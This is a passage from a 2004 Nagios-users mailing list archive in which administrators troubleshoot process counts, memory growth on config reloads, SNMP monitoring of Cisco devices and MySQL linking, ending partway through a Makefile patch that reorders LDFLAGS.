shape or form, without the prior permission of the author. If you are not the intended recipient please contact the author immediately and destroy the message. All parties acknowledge that any breach of confidence or disclosures made by any party, (including their employees, agents and contracted service providers such as solicitors, accountants, auditors and others), which may result in a commercial loss to Leading Edge Group, may result in Leading Edge Group exercising such rights as are available to them in connection with that loss. ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From rp.thompson at qut.edu.au Wed Mar 10 00:15:11 2004 From: rp.thompson at qut.edu.au (Russell Thompson) Date: Wed, 10 Mar 2004 09:15:11 +1000 Subject: nagios -d processes In-Reply-To: <55809.63.227.74.41.1078793674.squirrel@webmail.stinkweasel .net> References: <87llma3mx4.wl@badger.wordzoo.com> <87llma3mx4.wl@badger.wordzoo.com> <55809.63.227.74.41.1078793674.squirrel@webmail.stinkweasel .net> Message-ID: <5.1.1.5.2.20040310090720.00b421b0@pop.qut.edu.au> Hi all. I work at a University and have set up Nagios to monitor hosts in our labs. There are about 340 hosts that I am monitoring with 4 service checks on each host, coomes to around about 1200 service checks running. I just recently added the full compiment of labs and am now experiencing some problems, the main one is that some of the service checks don't seem to execute. They are scheduled to, and report that the executed at xx:zz:yy time, but the status of the service did not change when needed and there are no records in the logs of the service check running at that time. Does Nagios have trouble over a certain number of service checks? I have noticed that I now get quite a lot of "nagios -d /usr/local/nagios/etc/nagios.cfg" processes running. I run nagios as a inetd service not as a daemon, so I'm not sure why this happens. Any help would be greatly appreciated. Thanks, Russell. Russell Thompson PC Support Faculty of Information Technology QUT x1935 ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From sghosh at sghosh.org Wed Mar 10 00:58:31 2004 From: sghosh at sghosh.org (Subhendu Ghosh) Date: Tue, 9 Mar 2004 18:58:31 -0500 (EST) Subject: Common SNMP switch/router monitors In-Reply-To: <41FD7929498A174DAB86C45F28E0EC0D3EA37B@golden-m.mactec.com> References: <41FD7929498A174DAB86C45F28E0EC0D3EA37B@golden-m.mactec.com> Message-ID: temp, fans, powers supplies (specially if redudant) On Tue, 9 Mar 2004, Cook, Garry wrote: > I also monitor memory usage on these devices. On routers I use > check_ifstatus and check_ifoperstatus to monitor interfaces as well. > > Garry W. Cook, CCNA > Network Infrastructure Manager > MACTEC, Inc. - http://www.mactec.com/ > 303.308.6228 (Office) - 720.220.1862 (Mobile) > > -----Original Message----- > From: nagios-users-admin at lists.sourceforge.net > [mailto:nagios-users-admin at lists.sourceforge.net] On Behalf Of Stephen > Patterson > Sent: Tuesday, March 09, 2004 1:56 PM > To: 'nagios-users at lists.sourceforge.net' > Subject: [Nagios-users] Common SNMP switch/router monitors > > > I've recently expanded our nagios configuration to include SNMP > monitoring, and am just wondering what people commonly monitor on cisco > switches/routers. The most obvious are uptime and CPU load, but what > other stats might be useful? > > > > CJ Garlands IT Dept. > Stephen Patterson > > ________________________________________________________________________ > CJ GARLAND & CO LIMITED DISCLAIMER > > This e-mail and any files transmitted with it is confidential and > intended solely for the use of the individuals or organisations to whom > it is addressed. If you are not the intended recipient you must not open > any attachment, copy, distribute or disseminate the information nor take > any action on the basis of it; please notify the sender and delete the > original e-mail from your system(s). Opinions and conclusions expressed > in this e-mail are those of the author and are not necessarily those of > CJ Garland & Co Limited unless otherwise indicated by an authorised > representative independently of this message. Copyright in this e-mail > and any attachments remains with CJ Garland & Co Limited. This message > has been scanned for known viruses by MessageLabs E-mail Security System > on behalf of CJ Garland & Co Limited. Recipients are strongly advised to > conduct their own virus checks on all parts of this communication upon > receipt. All liability of the sender for any loss incurred as a result > of virus infection or other destructive elements is excluded to the > fullest extent permitted by law. > > > -- ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From sghosh at sghosh.org Wed Mar 10 01:13:04 2004 From: sghosh at sghosh.org (Subhendu Ghosh) Date: Tue, 9 Mar 2004 19:13:04 -0500 (EST) Subject: 1.2: Memory Leak? Something? In-Reply-To: References: Message-ID: On Tue, 9 Mar 2004, Daniel Henninger wrote: > Folk, > > Ever since moving from Solaris to Linux for our Nagios servers, I've > noticed Nagios gradually taking up what seems like more and more memory > as it runs, to a point where it eventually shoots itself in the head. > (sort of.. it appears to "get confused" at some point) We have two > redundant Nagios servers that failover via Heartbeat if one dies. Often, > the manifestation of the memory run-out is is that heartbeat isn't able to > fire off it's "are you there?" to the other host, and so it turns control > over to the other server. This is good because no one notices Nagios > upset, but I'd still like to find out what's causing it to continuously > grow in size. We have a potentially odd configuration that may have > something to do with it. Basically, I have a mysql database with all of > the information about our servers. (servers are organized by a "class", > and the class determines what checks occur via Nagios for that server) > Anyway, this db is probed every 15 minutes for changes, and the nagios > config files are re-generated. If there are differences, nagios is hup'd > to reread it's config. Due to the number of servers we have, the > frequency in which people add or remove servers, etc, I would say that > quite a lot of hup-ing occurs. I am pointing this out because I suspect > that has something to do with our problems. Perhaps the rereads are > leaking memory somewhere? Anyway, I'm not sure what else to say about it > at the moment, so if I can provide further information, please let me > know. I haven't done real graphs or anything of the memory drainage, I'm > just going by my own observations. If I need real data, I can certainly > begin gathering it. Anyone else observed this behavior? Thanks! > > Daniel > > If you are hupping and there are a lot of changes in the host/service def you may want to disable saving service state. Maintaining state across hups means nagios kkeps your old config info and adds the new stuff from the files... Froma prod standpoint generating new configs every 15min seem like over kill - once a day might be better. -- -sg ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From sghosh at sghosh.org Wed Mar 10 01:34:43 2004 From: sghosh at sghosh.org (Subhendu Ghosh) Date: Tue, 9 Mar 2004 19:34:43 -0500 (EST) Subject: nagios -d processes In-Reply-To: <5.1.1.5.2.20040310090720.00b421b0@pop.qut.edu.au> References: <5.1.1.5.2.20040310090720.00b421b0@pop.qut.edu.au> Message-ID: On Wed, 10 Mar 2004, Russell Thompson wrote: > > > Hi all. I work at a University and have set up Nagios to monitor hosts in > our labs. There are about 340 hosts that I am monitoring with 4 service > checks on each host, coomes to around about 1200 service checks running. I > just recently added the full compiment of labs and am now experiencing some > problems, the main one is that some of the service checks don't seem to > execute. They are scheduled to, and report that the executed at xx:zz:yy > time, but the status of the service did not change when needed and there > are no records in the logs of the service check running at that time. Does > Nagios have trouble over a certain number of service checks? > > I have noticed that I now get quite a lot of "nagios -d > /usr/local/nagios/etc/nagios.cfg" processes running. I run nagios as a > inetd service not as a daemon, so I'm not sure why this happens. > > Any help would be greatly appreciated. > Nagios is not desgined to run under inetd - it does not listen for anything. Surprised its worked so long... you should only have one nagios process showing the -d switch. -- -sg ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From daniel at unity.ncsu.edu Wed Mar 10 01:43:15 2004 From: daniel at unity.ncsu.edu (Daniel Henninger) Date: Tue, 9 Mar 2004 19:43:15 -0500 (EST) Subject: 1.2: Memory Leak? Something? In-Reply-To: References: Message-ID: > If you are hupping and there are a lot of changes in the host/service def > you may want to disable saving service state. Maintaining state across > hups means nagios kkeps your old config info and adds the new stuff from > the files... Often it's an add instead of a subtract, so we don't tend to run into problems with this. If we didn't retain state information, our whole 1000-some odd tests would go "unknown", would they not? That would be horribly frightening to many of the folk we have observing Nagios data. (we don't tend to have people looking at the tactical overview, but instead write quite a few custom interfaces) > >Froma prod standpoint generating new configs every 15min seem like over > kill - once a day might be better. Not for us it isn't. ;) Besides, it doesn't "bother" nagios unless there are real changes. It was suggested to me that APAN might be my culprit. After some research, the problems did also coincide with around when I first started using APAN. It seems to have something to do with our kernel version and APAN, so I doubt it's really APAN's fault, but still. The two did coincide. We don't "need" the APAN information, so we've chosen to stop using it. Observing in the meantime to see if it truly helps to disable it. Thanks! =) Daniel -- /\\\----------------------------------------------------------------------///\ \ \\\ Daniel Henninger http://www.vorpalcloud.org/ /// / \_\\\ North Carolina State University - Systems Programmer ///_/ \\\ Information Technology /// """--------------------------------------------------------------""" ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From rp.thompson at qut.edu.au Wed Mar 10 02:14:38 2004 From: rp.thompson at qut.edu.au (Russell Thompson) Date: Wed, 10 Mar 2004 11:14:38 +1000 Subject: nagios -d processes In-Reply-To: References: <5.1.1.5.2.20040310090720.00b421b0@pop.qut.edu.au> Message-ID: <5.1.1.5.2.20040310110913.031a8b40@pop.qut.edu.au> At 07:34 PM 9/03/2004 -0500, Subhendu Ghosh wrote: >On Wed, 10 Mar 2004, Russell Thompson wrote: > > > > > > > > I have noticed that I now get quite a lot of "nagios -d > > /usr/local/nagios/etc/nagios.cfg" processes running. I run nagios as a > > inetd service not as a daemon, so I'm not sure why this happens. > > > > Any help would be greatly appreciated. > > > >Nagios is not desgined to run under inetd - it does not listen for >anything. > >Surprised its worked so long... > >you should only have one nagios process showing the -d switch. You're right of course :-) I was getting confused with nsca. So if I am only meant to hae one nagios process with the -d switch showing, does anyone know why i get a lot more? Russell Thompson PC Support Faculty of Information Technology QUT x1935 ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From sghosh at sghosh.org Wed Mar 10 02:25:26 2004 From: sghosh at sghosh.org (Subhendu Ghosh) Date: Tue, 9 Mar 2004 20:25:26 -0500 (EST) Subject: nagios -d processes In-Reply-To: <5.1.1.5.2.20040310110913.031a8b40@pop.qut.edu.au> References: <5.1.1.5.2.20040310110913.031a8b40@pop.qut.edu.au> Message-ID: On Wed, 10 Mar 2004, Russell Thompson wrote: > At 07:34 PM 9/03/2004 -0500, Subhendu Ghosh wrote: > >On Wed, 10 Mar 2004, Russell Thompson wrote: > > > > > > > > > > > > > I have noticed that I now get quite a lot of "nagios -d > > > /usr/local/nagios/etc/nagios.cfg" processes running. I run nagios as a > > > inetd service not as a daemon, so I'm not sure why this happens. > > > > > > Any help would be greatly appreciated. > > > > > > >Nagios is not desgined to run under inetd - it does not listen for > >anything. > > > >Surprised its worked so long... > > > >you should only have one nagios process showing the -d switch. > > You're right of course :-) > I was getting confused with nsca. > > So if I am only meant to hae one nagios process with the -d switch showing, > does anyone know why i get a lot more? > You will get more nagios processes as it spawns off a child for each service and host check. That is normal. The children are reaped based on service completion and nagios.cfg reaper entry. -- -sg ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From dhawal at netmagicsolutions.com Wed Mar 10 07:43:41 2004 From: dhawal at netmagicsolutions.com (Dhawal Doshy) Date: Wed, 10 Mar 2004 12:13:41 +0530 Subject: Nagios 1.2 - What OS In-Reply-To: References: Message-ID: <404EB91D.6070401@netmagicsolutions.com> Matt Pounsett wrote: >On Tue, 9 Mar 2004, Tom Brown wrote: > > > >>As i seem to be having so many problems with Nagios and Fedora Core 1 can i >>please ask what RedHat based OS would be 'best' to run Nagios on? >>It just does not seem to like being compiled on Fedora. >> >> > >Tom, I'm successfully using it on EdgeServer 3.0, RedHat 7.3, and Advanced >Server 3.0. I also ran 1.1 on Advanced Server 2.1 > > > Am successfully running nagios 1.2 on the following OSes.. RedHat 9, Fedora Core 1, Compaq Linux (redhat 7.2 on alpha) and sparc solaris 8 (quite painful) however the preferred is rh9 (still supported for 20 more days), mostly works out of the box as long as you rtfm - dhawal ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From SrvFaucon at cslaval.qc.ca Wed Mar 10 14:32:40 2004 From: SrvFaucon at cslaval.qc.ca (Serveur-Faucon Surveillance) Date: Wed, 10 Mar 2004 08:32:40 -0500 Subject: =?ISO-8859-1?Q?R=E9p.=20:=20RE:=20[Nagios-users]=20Common=20SNMP?= =?ISO-8859-1?Q?=20switch/router=20monitors?= Message-ID: I like to monitor theses... ** Cisco Routeur 6500 ** 1.3.6.1.2.1.47.1.1.1.1.2.1001 = description : module intake Temp sensor 1.3.6.1.2.1.47.1.1.1.1.2.1002 = description : module Exhaust Temp sensor 1.3.6.1.2.1.47.1.1.1.1.2.1003 = description : module device 1 Temp sensor 1.3.6.1.2.1.47.1.1.1.1.2.1004 = description : module device 2 Temp sensor 1.3.6.1.4.1.9.9.91.1.1.1.1.4.1001 = module intake Temp sensor 1.3.6.1.4.1.9.9.91.1.1.1.1.4.1002 = module Exhaust Temp sensor 1.3.6.1.4.1.9.9.91.1.1.1.1.4.1003 = module device 1 Temp sensor 1.3.6.1.4.1.9.9.91.1.1.1.1.4.1004 = module device 2 Temp sensor ** Cisco C3524pwr ** OLD-CISCO-SYS-MIB.OID 1.3.6.1.4.1.9.2.1.2.0 = Contains a printable octet string which contains the reason why the system was last restarted. 1.3.6.1.4.1.9.2.1.58.0 = 5 minute exponentially-decayed moving average of the CPU busy percentage. 1.3.6.1.4.1.9.2.1.57.0 = 1 minute exponentially-decayed moving average of the CPU busy percentage. --------------------------------------------------- Alexandre Racine Montr?al, Qu?bec, Canada >>> Subhendu Ghosh 2004-03-09 18:58:31 >>> temp, fans, powers supplies (specially if redudant) On Tue, 9 Mar 2004, Cook, Garry wrote: > I also monitor memory usage on these devices. On routers I use > check_ifstatus and check_ifoperstatus to monitor interfaces as well. > > Garry W. Cook, CCNA > Network Infrastructure Manager > MACTEC, Inc. - http://www.mactec.com/ > 303.308.6228 (Office) - 720.220.1862 (Mobile) > > -----Original Message----- > From: nagios-users-admin at lists.sourceforge.net > [mailto:nagios-users-admin at lists.sourceforge.net] On Behalf Of Stephen > Patterson > Sent: Tuesday, March 09, 2004 1:56 PM > To: 'nagios-users at lists.sourceforge.net' > Subject: [Nagios-users] Common SNMP switch/router monitors > > > I've recently expanded our nagios configuration to include SNMP > monitoring, and am just wondering what people commonly monitor on cisco > switches/routers. The most obvious are uptime and CPU load, but what > other stats might be useful? > > > > CJ Garlands IT Dept. > Stephen Patterson > > ________________________________________________________________________ > CJ GARLAND & CO LIMITED DISCLAIMER > > This e-mail and any files transmitted with it is confidential and > intended solely for the use of the individuals or organisations to whom > it is addressed. If you are not the intended recipient you must not open > any attachment, copy, distribute or disseminate the information nor take > any action on the basis of it; please notify the sender and delete the > original e-mail from your system(s). Opinions and conclusions expressed > in this e-mail are those of the author and are not necessarily those of > CJ Garland & Co Limited unless otherwise indicated by an authorised > representative independently of this message. Copyright in this e-mail > and any attachments remains with CJ Garland & Co Limited. This message > has been scanned for known viruses by MessageLabs E-mail Security System > on behalf of CJ Garland & Co Limited. Recipients are strongly advised to > conduct their own virus checks on all parts of this communication upon > receipt. All liability of the sender for any loss incurred as a result > of virus infection or other destructive elements is excluded to the > fullest extent permitted by law. > > > -- ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From tom.brown at goodtechnology.com Wed Mar 10 15:57:25 2004 From: tom.brown at goodtechnology.com (Tom Brown) Date: Wed, 10 Mar 2004 14:57:25 -0000 Subject: ongoing issues - Nagios 1.2 - Fedora Core 1 References: <005a01c4061d$1303f060$0d0aa8c0@laptop> Message-ID: <1f6601c406af$ffc87ff0$0401a8c0@tomspc> > This is an ordering issue I believe. (I ran into this as well) note how > -lmysqlclient is before .. pretty much everything else. It ought to go at > the end, otherwise things that require it's symbols don't find them. This > only occured for me under Linux for some reason.. never had this problem > under Solaris. Solaris put the -lmysqlclient and flags in the correct > location. Anyway, you'll need to edit some Makefiles. ;) Hi It is the order thats wrong yes but if i put it at the end the result is the same. I have given up on MySQL support for now as it just does not seem to like Linux and if i RTFM anymore this week i will just confuse myself even more. I do seem to have an error though that i can't work out. In my logs i have this.... [1078930475] SERVICE;webserver;PING;CRITICAL;1/3;HARD;1078930286;1078930586;ACTIVE;1;1;1; 1078841646;0;CRITICAL;0;0;0;70679;0;0;1;0;10;1;0;0.00;0;1;1;1;CRITICAL - Plugin timed out after 10 seconds however is i run the plugin from the command line i get # libexec/check_ping -H 192.168.10.6 -w 100,20% -c 500,60% PING OK - Packet loss = 0%, RTA = 0.20 ms Why is it that the plugin from the command line is OK and yet from Nagios it is not? I have other checks running on the same host and returning OK? thanks ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jeff.vier at tradingtechnologies.com Wed Mar 10 16:05:29 2004 From: jeff.vier at tradingtechnologies.com (jeff vier) Date: Wed, 10 Mar 2004 09:05:29 -0600 Subject: nagios -d processes In-Reply-To: References: Message-ID: <1078931129.14436.86.camel@localhost> On Tue, 2004-03-09 at 18:34, Subhendu Ghosh wrote: > you should only have one nagios process showing the -d switch. Mine has one consistent process with a -d, but every service check spawns another one. So sometimes there is 30 or 50 or sometimes 100. this is 2.0a, notably. ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From daniel at unity.ncsu.edu Wed Mar 10 16:09:03 2004 From: daniel at unity.ncsu.edu (Daniel Henninger) Date: Wed, 10 Mar 2004 10:09:03 -0500 (EST) Subject: ongoing issues - Nagios 1.2 - Fedora Core 1 In-Reply-To: <1f6601c406af$ffc87ff0$0401a8c0@tomspc> References: <005a01c4061d$1303f060$0d0aa8c0@laptop> <1f6601c406af$ffc87ff0$0401a8c0@tomspc> Message-ID: To get mysqlclient to work under our Redhat 9 boxes, I basically apply the attached patches to the nagios 1.2 source, before configure. I stripped out some pieces from this patch as I actually patch a few more things into the source tree, but they're not necessary. (I am saying this to basically warn you, in case I left something in by accident and the patch fails) Daniel > > This is an ordering issue I believe. (I ran into this as well) note how > > -lmysqlclient is before .. pretty much everything else. It ought to go at > > the end, otherwise things that require it's symbols don't find them. This > > only occured for me under Linux for some reason.. never had this problem > > under Solaris. Solaris put the -lmysqlclient and flags in the correct > > location. Anyway, you'll need to edit some Makefiles. ;) > > Hi > > It is the order thats wrong yes but if i put it at the end the result is the > same. I have given up on MySQL support for now as it just does not seem to > like Linux and if i RTFM anymore this week i will just confuse myself even > more. > > I do seem to have an error though that i can't work out. > > In my logs i have this.... > > [1078930475] > SERVICE;webserver;PING;CRITICAL;1/3;HARD;1078930286;1078930586;ACTIVE;1;1;1; > 1078841646;0;CRITICAL;0;0;0;70679;0;0;1;0;10;1;0;0.00;0;1;1;1;CRITICAL - > Plugin timed out after 10 seconds > > however is i run the plugin from the command line i get > > # libexec/check_ping -H 192.168.10.6 -w 100,20% -c 500,60% > PING OK - Packet loss = 0%, RTA = 0.20 ms > > Why is it that the plugin from the command line is OK and yet from Nagios it > is not? I have other checks running on the same host and returning OK? > > thanks > > > -- /\\\----------------------------------------------------------------------///\ \ \\\ Daniel Henninger http://www.vorpalcloud.org/ /// / \_\\\ North Carolina State University - Systems Programmer ///_/ \\\ Information Technology /// """--------------------------------------------------------------""" -------------- next part -------------- diff -Ncr nagios-1.2.orig/base/Makefile.in nagios-1.2/base/Makefile.in *** nagios-1.2.orig/base/Makefile.in 2002-11-10 22:52:13.000000000 -0500 --- nagios-1.2/base/Makefile.in 2003-09-09 13:35:39.000000000 -0400 *************** *** 88,94 **** OBJS=checks.o config.o commands.o flapping.o logging.o notifications.o sehandlers.o utils.o $(RDATALIBS) $(CDATALIBS) $(ODATALIBS) $(SDATALIBS) $(PDATALIBS) $(DDATALIBS) $(BASEEXTRALIBS) $(SNPRINTF_O) nagios: nagios.c $(OBJS) nagios.h $(SRC_COMMON)/locations.h ! $(CC) $(CFLAGS) $(LDFLAGS) nagios.c $(OBJS) $(PERLLIBS) $(MATHLIBS) -o $@ #$(SRC_COMMON)/locations.h: $(SRC_COMMON)/locations.sub # perl -pe 's|\$${prefix}|${prefix}|g;s|\$${exec_prefix}|${exec_prefix}|g;s|\$${htmurl}|$(HTMURL)|g;s|\$${cgiurl}|$(CGIURL)|g;' $(SRC_COMMON)/locations.sub > $(SRC_COMMON)/locations.h --- 88,94 ---- OBJS=checks.o config.o commands.o flapping.o logging.o notifications.o sehandlers.o utils.o $(RDATALIBS) $(CDATALIBS) $(ODATALIBS) $(SDATALIBS) $(PDATALIBS) $(DDATALIBS) $(BASEEXTRALIBS) $(SNPRINTF_O) nagios: nagios.c $(OBJS) nagios.h $(SRC_COMMON)/locations.h ! $(CC) $(CFLAGS) nagios.c $(OBJS) $(LDFLAGS) $(PERLLIBS) $(MATHLIBS) -o $@ #$(SRC_COMMON)/locations.h: $(SRC_COMMON)/locations.sub # perl -pe 's|\$${prefix}|${prefix}|g;s|\$${exec_prefix}|${exec_prefix}|g;s|\$${htmurl}|$(HTMURL)|g;s|\$${cgiurl}|$(CGIURL)|g;' $(SRC_COMMON)/locations.sub > $(SRC_COMMON)/locations.h diff -Ncr nagios-1.2.orig/cgi/Makefile.in nagios-1.2/cgi/Makefile.in *** nagios-1.2.orig/cgi/Makefile.in 2002-08-25 19:53:00.000000000 -0400 --- nagios-1.2/cgi/Makefile.in 2003-09-09 13:38:03.000000000 -0400 *************** *** 95,152 **** $(COMMENTLIBS): $(COMMENTHDRS) avail.cgi: avail.c $(CGIDEPS) ! $(CC) $(CFLAGS) $(LDFLAGS) avail.c $(CGILIBS) -o $@ checksanity.cgi: checksanity.c $(CGIDEPS) $(CDATADEPS) $(EDATADEPS) $(DDATADEPS) ! $(CC) $(CFLAGS) $(LDFLAGS) checksanity.c $(CGILIBS) $(CDATALIBS) $(EDATALIBS) $(DDATALIBS) -o $@ cmd.cgi: cmd.c $(CGIDEPS) $(CDATADEPS) ! $(CC) $(CFLAGS) $(LDFLAGS) cmd.c $(CGILIBS) $(CDATALIBS) $(DDATALIBS) -o $@ config.cgi: config.c $(CGIDEPS) ! $(CC) $(CFLAGS) $(LDFLAGS) config.c $(CGILIBS) -o $@ extinfo.cgi: extinfo.c $(CGIDEPS) $(CDATADEPS) $(EDATADEPS) $(DDATADEPS) ! $(CC) $(CFLAGS) $(LDFLAGS) extinfo.c $(CGILIBS) $(CDATALIBS) $(EDATALIBS) $(DDATALIBS) -o $@ history.cgi: history.c $(CGIDEPS) $(LIFODEPS) ! $(CC) $(CFLAGS) $(LDFLAGS) history.c $(CGILIBS) $(LIFOLIBS) -o $@ ministatus.cgi: ministatus.c $(CGIDEPS) ! $(CC) $(CFLAGS) $(LDFLAGS) ministatus.c $(CGILIBS) -o $@ notifications.cgi: notifications.c $(CGIDEPS) $(LIFODEPS) ! $(CC) $(CFLAGS) $(LDFLAGS) notifications.c $(CGILIBS) $(LIFOLIBS) -o $@ outages.cgi: outages.c $(CGIDEPS) $(CDATADEPS) ! $(CC) $(CFLAGS) $(LDFLAGS) outages.c $(CGILIBS) $(CDATALIBS) -o $@ showlog.cgi: showlog.c $(CGIDEPS) $(LIFODEPS) ! $(CC) $(CFLAGS) $(LDFLAGS) showlog.c $(CGILIBS) $(LIFOLIBS) -o $@ status.cgi: status.c $(CGIDEPS) $(CDATADEPS) $(EDATADEPS) ! $(CC) $(CFLAGS) $(LDFLAGS) status.c $(CGILIBS) $(CDATALIBS) $(EDATALIBS) -o $@ statuswml.cgi: statuswml.c $(CGIDEPS) ! $(CC) $(CFLAGS) $(LDFLAGS) statuswml.c $(CGILIBS) -o $@ statusmap.cgi: statusmap.c $(CGIDEPS) $(EDATADEPS) ! $(CC) $(CFLAGS) $(LDFLAGS) statusmap.c $(CGILIBS) $(GDLIBS) $(EDATALIBS) -o $@ statuswrl.cgi: statuswrl.c $(CGIDEPS) $(EDATADEPS) ! $(CC) $(CFLAGS) $(LDFLAGS) statuswrl.c $(CGILIBS) $(MATHLIBS) $(EDATALIBS) -o $@ summary.cgi: summary.c $(CGIDEPS) ! $(CC) $(CFLAGS) $(LDFLAGS) summary.c $(CGILIBS) -o $@ tac.cgi: tac.c $(CGIDEPS) $(CDATADEPS) $(EDATADEPS) ! $(CC) $(CFLAGS) $(LDFLAGS) tac.c $(CGILIBS) $(CDATALIBS) $(EDATALIBS) -o $@ trends.cgi: trends.c $(CGIDEPS) ! $(CC) $(CFLAGS) $(LDFLAGS) trends.c $(CGILIBS) $(GDLIBS) -o $@ histogram.cgi: histogram.c $(CGIDEPS) ! $(CC) $(CFLAGS) $(LDFLAGS) histogram.c $(CGILIBS) $(GDLIBS) -o $@ clean: rm -f $(CGIS) *.o *.cfg *.sub core --- 95,152 ---- $(COMMENTLIBS): $(COMMENTHDRS) avail.cgi: avail.c $(CGIDEPS) ! $(CC) $(CFLAGS) avail.c $(CGILIBS) $(LDFLAGS) -o $@ checksanity.cgi: checksanity.c $(CGIDEPS) $(CDATADEPS) $(EDATADEPS) $(DDATADEPS) ! $(CC) $(CFLAGS) checksanity.c $(CGILIBS) $(CDATALIBS) $(EDATALIBS) $(DDATALIBS) $(LDFLAGS) -o $@ cmd.cgi: cmd.c $(CGIDEPS) $(CDATADEPS) ! $(CC) $(CFLAGS) cmd.c $(CGILIBS) $(CDATALIBS) $(DDATALIBS) $(LDFLAGS) -o $@ config.cgi: config.c $(CGIDEPS) ! $(CC) $(CFLAGS) config.c $(CGILIBS) $(LDFLAGS) -o $@ extinfo.cgi: extinfo.c $(CGIDEPS) $(CDATADEPS) $(EDATADEPS) $(DDATADEPS) ! 